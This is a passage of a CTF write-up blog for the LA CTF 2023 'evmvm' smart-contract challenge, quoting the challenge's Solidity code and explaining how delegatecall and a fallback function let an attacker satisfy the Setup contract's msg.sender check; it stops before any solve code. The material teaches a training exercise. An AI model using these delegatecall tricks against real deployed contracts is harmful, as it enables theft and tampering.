&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;lactf{s0m3_p30pl3_w4n7_t0_w4tch_th3_w0r1d_burn}&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;evmvm&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;878&quot; data-origin-height=&quot;344&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cQTaJc/btrYVhXQl8j/Om4gj6qyNCo9y0ODhEZHck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cQTaJc/btrYVhXQl8j/Om4gj6qyNCo9y0ODhEZHck/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cQTaJc/btrYVhXQl8j/Om4gj6qyNCo9y0ODhEZHck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcQTaJc%2FbtrYVhXQl8j%2FOm4gj6qyNCo9y0ODhEZHck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;878&quot; height=&quot;344&quot; data-origin-width=&quot;878&quot; data-origin-height=&quot;344&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/uclaacm/lactf-archive/tree/master/2023/pwn/evmvm&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/uclaacm/lactf-archive/tree/master/2023/pwn/evmvm&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Maybe you know there are many vm challenges in pwn and rev.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Analysis&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Setup.sol&lt;/p&gt;
&lt;pre id=&quot;code_1676265238753&quot; class=&quot;sol pgsql&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;contract Setup {
    EVMVM public immutable metametaverse = new EVMVM();
    bool private solved = false;

    function solve() external {
        assert(msg.sender == address(metametaverse));
        solved = true;
    }

    function isSolved() external view returns (bool) {
        return solved;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;When metametaverse call solve(), we could get flag.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;EVMMM.sol&lt;/p&gt;
&lt;pre id=&quot;code_1676265274342&quot; class=&quot;sol cs&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;

// YES I FINALLY GOT MY METAMETAVERSE TO WORK - Arc'blroth
contract EVMVM {
    uint[] private stack;

    // executes a single opcode on the metametaverse&amp;trade;
    // TODO(arc) implement the last few opcodes
    function enterTheMetametaverse(bytes32 opcode, bytes32 arg) external {
        assembly {
            // declare yul bindings for the stack
            // apparently you can only call yul functions from yul :sob:
            // https://ethereum.stackexchange.com/questions/126609/calling-functions-using-inline-assembly-yul

            function spush(data) {
                let index := sload(0x00)
                let stackSlot := 0x00
                sstore(add(keccak256(stackSlot, 0x20), index), data)
                sstore(0x00, add(index, 1))
            }

            function spop() -&amp;gt; out {
                let index := sub(sload(0x00), 1)
                let stackSlot := 0x00
                out := sload(add(keccak256(stackSlot, 0x20), index))
                sstore(add(keccak256(stackSlot, 0x20), index), 0) // zero out the popped memory
                sstore(0x00, index)
            }

            // opcode reference: https://www.evm.codes/?fork=merge
            switch opcode
                case 0x00 { // STOP
                    // lmfao you literally just wasted gas
                }
                case 0x01 { // ADD
                    spush(add(spop(), spop()))
                }
                case 0x02 { // MUL
                    spush(mul(spop(), spop()))
                }
                case 0x03 { // SUB
                    spush(sub(spop(), spop()))
                }
                case 0x04 { // DIV
                    spush(div(spop(), spop()))
                }
                case 0x05 { // SDIV
                    spush(sdiv(spop(), spop()))
                }
                case 0x06 { // MOD
                    spush(mod(spop(), spop()))
                }
                case 0x07 { // SMOD
                    spush(smod(spop(), spop()))
                }
                case 0x08 { // ADDMOD
                    spush(addmod(spop(), spop(), spop()))
                }
                case 0x09 { // MULMOD
                    spush(mulmod(spop(), spop(), spop()))
                }
                case 0x0A { // EXP
                    spush(exp(spop(), spop()))
                }
                case 0x0B { // SIGNEXTEND
                    spush(signextend(spop(), spop()))
                }
                case 0x10 { // LT
                    spush(lt(spop(), spop()))
                }
                case 0x11 { // GT
                    spush(gt(spop(), spop()))
                }
                case 0x12 { // SLT
                    spush(slt(spop(), spop()))
                }
                case 0x13 { // SGT
                    spush(sgt(spop(), spop()))
                }
                case 0x14 { // EQ
                    spush(eq(spop(), spop()))
                }
                case 0x15 { // ISZERO
                    spush(iszero(spop()))
                }
                case 0x16 { // AND
                    spush(and(spop(), spop()))
                }
                case 0x17 { // OR
                    spush(or(spop(), spop()))
                }
                case 0x18 { // XOR
                    spush(xor(spop(), spop()))
                }
                case 0x19 { // NOT
                    spush(not(spop()))
                }
                case 0x1A { // BYTE
                    spush(byte(spop(), spop()))
                }
                case 0x1B { // SHL
                    spush(shl(spop(), spop()))
                }
                case 0x1C { // SHR
                    spush(shr(spop(), spop()))
                }
                case 0x1D { // SAR
                    spush(sar(spop(), spop()))
                }
                case 0x20 { // SHA3
                    spush(keccak256(spop(), spop()))
                }
                case 0x30 { // ADDRESS
                    spush(address())
                }
                case 0x31 { // BALANCE
                    spush(balance(spop()))
                }
                case 0x32 { // ORIGIN
                    spush(origin())
                }
                case 0x33 { // CALLER
                    spush(caller())
                }
                case 0x34 { // CALLVALUE
                    spush(callvalue())
                }
                case 0x35 { // CALLDATALOAD
                    spush(calldataload(spop()))
                }
                case 0x36 { // CALLDATASIZE
                    spush(calldatasize())
                }
                case 0x37 { // CALLDATACOPY
                    calldatacopy(spop(), spop(), spop())
                }
                case 0x38 { // CODESIZE
                    spush(codesize())
                }
                case 0x3A { // GASPRICE
                    spush(gasprice())
                }
                case 0x3B { // EXTCODESIZE
                    spush(extcodesize(spop()))
                }
                case 0x3C { // EXTCODECOPY
                    extcodecopy(spop(), spop(), spop(), spop())
                }
                case 0x3D { // RETURNDATASIZE
                    spush(returndatasize())
                }
                case 0x3E { // RETURNDATACOPY
                    returndatacopy(spop(), spop(), spop())
                }
                case 0x3F { // EXTCODEHASH
                    spush(extcodehash(spop()))
                }
                case 0x40 { // BLOCKHASH
                    spush(blockhash(spop()))
                }
                case 0x41 { // COINBASE (sponsored opcode)
                    spush(coinbase())
                }
                case 0x42 { // TIMESTAMP
                    spush(timestamp())
                }
                case 0x43 { // NUMBER
                    spush(number())
                }
                case 0x44 { // PREVRANDAO
                    spush(difficulty())
                }
                case 0x45 { // GASLIMIT
                    spush(gaslimit())
                }
                case 0x46 { // CHAINID
                    spush(chainid())
                }
                case 0x47 { // SELBALANCE
                    spush(selfbalance())
                }
                case 0x48 { // BASEFEE
                    spush(basefee())
                }
                case 0x50 { // POP
                    pop(spop())
                }
                case 0x51 { // MLOAD
                    spush(mload(spop()))
                }
                case 0x52 { // MSTORE
                    mstore(spop(), spop())
                }
                case 0x53 { // MSTORE8
                    mstore8(spop(), spop())
                }
                case 0x54 { // SLOAD
                    spush(sload(spop()))
                }
                case 0x55 { // SSTORE
                    sstore(spop(), spop())
                }
                case 0x59 { // MSIZE
                    spush(msize())
                }
                case 0x5A { // GAS
                    spush(gas())
                }
                case 0x80 { // DUP1
                    let val := spop()
                    spush(val)
                    spush(val)
                }
                case 0x91 { // SWAP1
                    let a := spop()
                    let b := spop()
                    spush(a)
                    spush(b)
                }
                case 0xF0 { // CREATE
                    spush(create(spop(), spop(), spop()))
                }
                case 0xF1 { // CALL
                    spush(call(spop(), spop(), spop(), spop(), spop(), spop(), spop()))
                }
                case 0xF2 { // CALLCODE
                    spush(callcode(spop(), spop(), spop(), spop(), spop(), spop(), spop()))
                }
                case 0xF3 { // RETURN
                    return(spop(), spop())
                }
                case 0xF4 { // DELEGATECALL
                    spush(delegatecall(spop(), spop(), spop(), spop(), spop(), spop()))
                }
                case 0xF5 { // CREATE2
                    spush(create2(spop(), spop(), spop(), spop()))
                }
                case 0xFA { // STATICCALL
                    spush(staticcall(spop(), spop(), spop(), spop(), spop(), spop()))
                }
                case 0xFD { // REVERT
                    revert(spop(), spop())
                }
                case 0xFE { // INVALID
                    invalid()
                }
                case 0xFF { // SELFDESTRUCT
                    selfdestruct(spop())
                }
        }
    }

    fallback() payable external {
        revert(&quot;sus&quot;);
    }

    receive() payable external {
        revert(&quot;we are a cashless institution&quot;);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I had know that we could use assembly, yul in solidity but not detailed.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://docs.soliditylang.org/en/v0.8.17/assembly.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://docs.soliditylang.org/en/v0.8.17/assembly.html&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://docs.soliditylang.org/en/v0.8.17/yul.html#yul&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://docs.soliditylang.org/en/v0.8.17/yul.html#yul&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;enterTheMetametaverse() handle opcode and the storage of contract is the stack of vm.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;By looking into spush() and spop(), we could know that storage slot 0 has stack size, storage slot more than 1 has stack item.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;As mentioned, we should call solve() of Setup.sol.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Thus I thought that first I push arguemnts of call and call solve().&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;But there is a &lt;b&gt;problem&lt;/b&gt;...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.evm.codes/#f1?fork=merge&quot;&gt;https://www.evm.codes/#f1?fork=merge&lt;/a&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;call(gas, address, value, argsOffset, argsSize, retOffset, retSize)&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;gas:&amp;nbsp;amount&amp;nbsp;of&amp;nbsp;gas&amp;nbsp;to&amp;nbsp;send&amp;nbsp;to&amp;nbsp;the&amp;nbsp;sub&amp;nbsp;context&amp;nbsp;to&amp;nbsp;execute.&amp;nbsp;The&amp;nbsp;gas&amp;nbsp;that&amp;nbsp;is&amp;nbsp;not&amp;nbsp;used&amp;nbsp;by&amp;nbsp;the&amp;nbsp;sub&amp;nbsp;context&amp;nbsp;is&amp;nbsp;returned&amp;nbsp;to&amp;nbsp;this&amp;nbsp;one. &lt;br /&gt;address:&amp;nbsp;the&amp;nbsp;account&amp;nbsp;which&amp;nbsp;context&amp;nbsp;to&amp;nbsp;execute. &lt;br /&gt;value:&amp;nbsp;value&amp;nbsp;in&amp;nbsp;wei&amp;nbsp;to&amp;nbsp;send&amp;nbsp;to&amp;nbsp;the&amp;nbsp;account. &lt;br /&gt;argsOffset:&amp;nbsp;&lt;b&gt;byte&amp;nbsp;offset&amp;nbsp;in&amp;nbsp;the&amp;nbsp;memory&amp;nbsp;in&amp;nbsp;bytes&lt;/b&gt;,&amp;nbsp;the&amp;nbsp;calldata&amp;nbsp;of&amp;nbsp;the&amp;nbsp;sub&amp;nbsp;context. &lt;br /&gt;argsSize:&amp;nbsp;byte&amp;nbsp;size&amp;nbsp;to&amp;nbsp;copy&amp;nbsp;(size&amp;nbsp;of&amp;nbsp;the&amp;nbsp;calldata). &lt;br /&gt;retOffset:&amp;nbsp;byte&amp;nbsp;offset&amp;nbsp;in&amp;nbsp;the&amp;nbsp;memory&amp;nbsp;in&amp;nbsp;bytes,&amp;nbsp;where&amp;nbsp;to&amp;nbsp;store&amp;nbsp;the&amp;nbsp;return&amp;nbsp;data&amp;nbsp;of&amp;nbsp;the&amp;nbsp;sub&amp;nbsp;context. &lt;br /&gt;retSize:&amp;nbsp;byte&amp;nbsp;size&amp;nbsp;to&amp;nbsp;copy&amp;nbsp;(size&amp;nbsp;of&amp;nbsp;the&amp;nbsp;return&amp;nbsp;data).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;call() uses memory of evm because calldata is copied from caller's memory.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The structure of calldata is function signature (4bytes) || arg1 || padding(exists or not) || arg2 || ...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;I wonder how function which does not have argument received argumnet.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;It ignores arguments&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Thus, I believe that I store &lt;b&gt;function signature&lt;/b&gt; of solve() by using &lt;b&gt;mstore(0x80, sig)&lt;/b&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;call(gas(), address of setup.sol, 0, 0x80, 0x4, 0, 0)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I tried this again and again... it failed.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Acutally, author commented enterTheMetametaverse() about in EVMVM.sol.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #57a64a;&quot;&gt;// executes a single opcode on the metametaverse&amp;trade;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span style=&quot;color: #dadada;&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: #57a64a;&quot;&gt;// &lt;/span&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;TODO&lt;/span&gt;&lt;span style=&quot;color: #57a64a;&quot;&gt;(arc) implement the last few opcodes&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;It just executes single opcode!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;That is, it means that every time evm enter this function, its memory is fresh!!!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The moment I realized this, my mental is breakdown. :laugh:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://betterprogramming.pub/solidity-tutorial-all-about-memory-1e1696d71ee4&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://betterprogramming.pub/solidity-tutorial-all-about-memory-1e1696d71ee4&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Under memory is reused and not initzialized like C, I tried solving this chall.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;But it is wrong.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Do you know answer of following quiz?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;If we call quiz(1), what does storage variable 'x' store?&lt;/p&gt;
&lt;pre id=&quot;code_1676270974380&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;contract Quiz{
    uint public x;

    function quiz(uint select) public {
        if(select == 1) {
            assembly {
                mstore(0x80, 123456)
            }
            quiz(0);
        }
        else {
            assembly {
                let y := mload(0x80)
                sstore(0, y)
            }
        }
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The answer is 123456.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Next, If we call quiz2(External contract's addr, 1), what does storage variable 'x' store?&lt;/p&gt;
&lt;pre id=&quot;code_1676271376403&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;contract External{
    Quiz2 q2;
    
    constructor(address _quiz2) {
        q2 = Quiz2(_quiz2);
    }
    
    function reenter() public {
        q2.quiz2(address(0), 0);
    }
}

contract Quiz2{
    uint public x;

    function quiz2(address _external, uint select) public {
        if(select == 1) {
            assembly {
                mstore(0x80, 123456)
            }
            _external.call(abi.encodeWithSignature(&quot;reenter&quot;));
        }
        else {
            assembly {
                let y := mload(0x80)
                sstore(0, y)
            }
        }
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The answer is 0.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://docs.soliditylang.org/en/v0.8.17/control-structures.html#internal-function-calls&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://docs.soliditylang.org/en/v0.8.17/control-structures.html#internal-function-calls&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://docs.soliditylang.org/en/v0.8.17/control-structures.html#external-function-calls&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://docs.soliditylang.org/en/v0.8.17/control-structures.html#external-function-calls&lt;/a&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&amp;nbsp;Being called &quot;internal&quot; simple jumps inside the EVM. This has the effect that the current memory is not cleared&lt;br /&gt;&amp;nbsp;Being called &amp;ldquo;externally&amp;rdquo;, using a message call and not directly via jumps.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;To execute single opcode, we continuously do &quot;external&quot; call.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Though of mload(0x80, sig), 0x80 of memory address does not sustain sig unitl &lt;span style=&quot;background-color: #f6e199;&quot;&gt;call(gas(), address of setup.sol, 0, 0x40, 0x4, 0, 0)&lt;/span&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;If function signature of calldata is not found in contract,&amp;nbsp; fallback() would handle this problem.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #fdfdfd; color: #000000;&quot;&gt;According to what I've said&lt;/span&gt; as far, we could call fallback() because we cannot set function signature of calldata.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Therefore &lt;b&gt;delegatecall&lt;/b&gt; will be answer!.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;call vs delegatecall&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;delegatecall does not change context.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;so msg.sender, storage is equal to previous context.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Let A, B, C be contract.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;when A &amp;gt;(call) B &amp;gt;(call) C&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In context of B, msg.sender is A.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In context of C, msg.sender is B.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;when A &amp;gt;(call) B &amp;gt;(delegatecall) C&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In context of B, msg.sender is A.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In context of C, msg.sender is A.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;when A &amp;gt;(delegatecall) B &amp;gt;(call) C&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In context of B, msg.sender is A's caller.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In context of C, msg.sender is A.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;when A &amp;gt;(delegatecall) B &amp;gt;(delegatecall) C&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In context of B, msg.sender is A's caller.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In context of C, msg.sender is A's caller.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Is it interesting?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;when A &amp;gt;(delegatecall) B &amp;gt;(delegatecall) C &amp;gt;(call) D&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In context of D, who is msg.sender?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Answer is A.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://gist.github.com/kangsangsoo/fd73e98dbcb442a18a76f1f3a79b3134&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://gist.github.com/kangsangsoo/fd73e98dbcb442a18a76f1f3a79b3134&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Finally,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;when A &amp;gt;(delegatecall) B &amp;gt;(delegatecall) C &amp;gt;(call) D &amp;gt;(call) E&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In context of E, who is msg.sender?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Answer is D.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://gist.github.com/kangsangsoo/0b66508f84a975f066c34cd594e40147&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://gist.github.com/kangsangsoo/0b66508f84a975f066c34cd594e40147&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;If you want to deep dive, &lt;a href=&quot;https://noxx.substack.com/p/evm-deep-dives-the-path-to-shadowy-a5f&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://noxx.substack.com/p/evm-deep-dives-the-path-to-shadowy-a5f&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Return to subject,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;We are approaching in.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;EOA &amp;gt;(call) EVMVM &amp;gt;(call) SETUP.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;But we can call not SETUP's solve() but &lt;b&gt;SETUP's fallback()&lt;/b&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In following sequence, &lt;span style=&quot;background-color: #9feec3;&quot;&gt;we can call SETUP's solve()&lt;/span&gt; is true and &lt;span style=&quot;background-color: #9feec3;&quot;&gt;msg.sender == EVMVM in solve()&lt;/span&gt; is true&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;EOA &amp;gt;(call) EVMVM &amp;gt;(delegatecall) MY CONTRACT &amp;gt;(call) SETUP&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;So MY CONTRACT must have fallback().&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The fallback() must containe SETUP.solve().&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;It's about all.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Solve&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;This chall's category is still VM. So how to push and pop what I want is also important.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;To do&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.evm.codes/#f4?fork=merge&quot;&gt;https://www.evm.codes/#f4?fork=merge&lt;/a&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;delegatecall(gas, address, argsOffset, argsSize, retOffest, retSize)&lt;/p&gt;
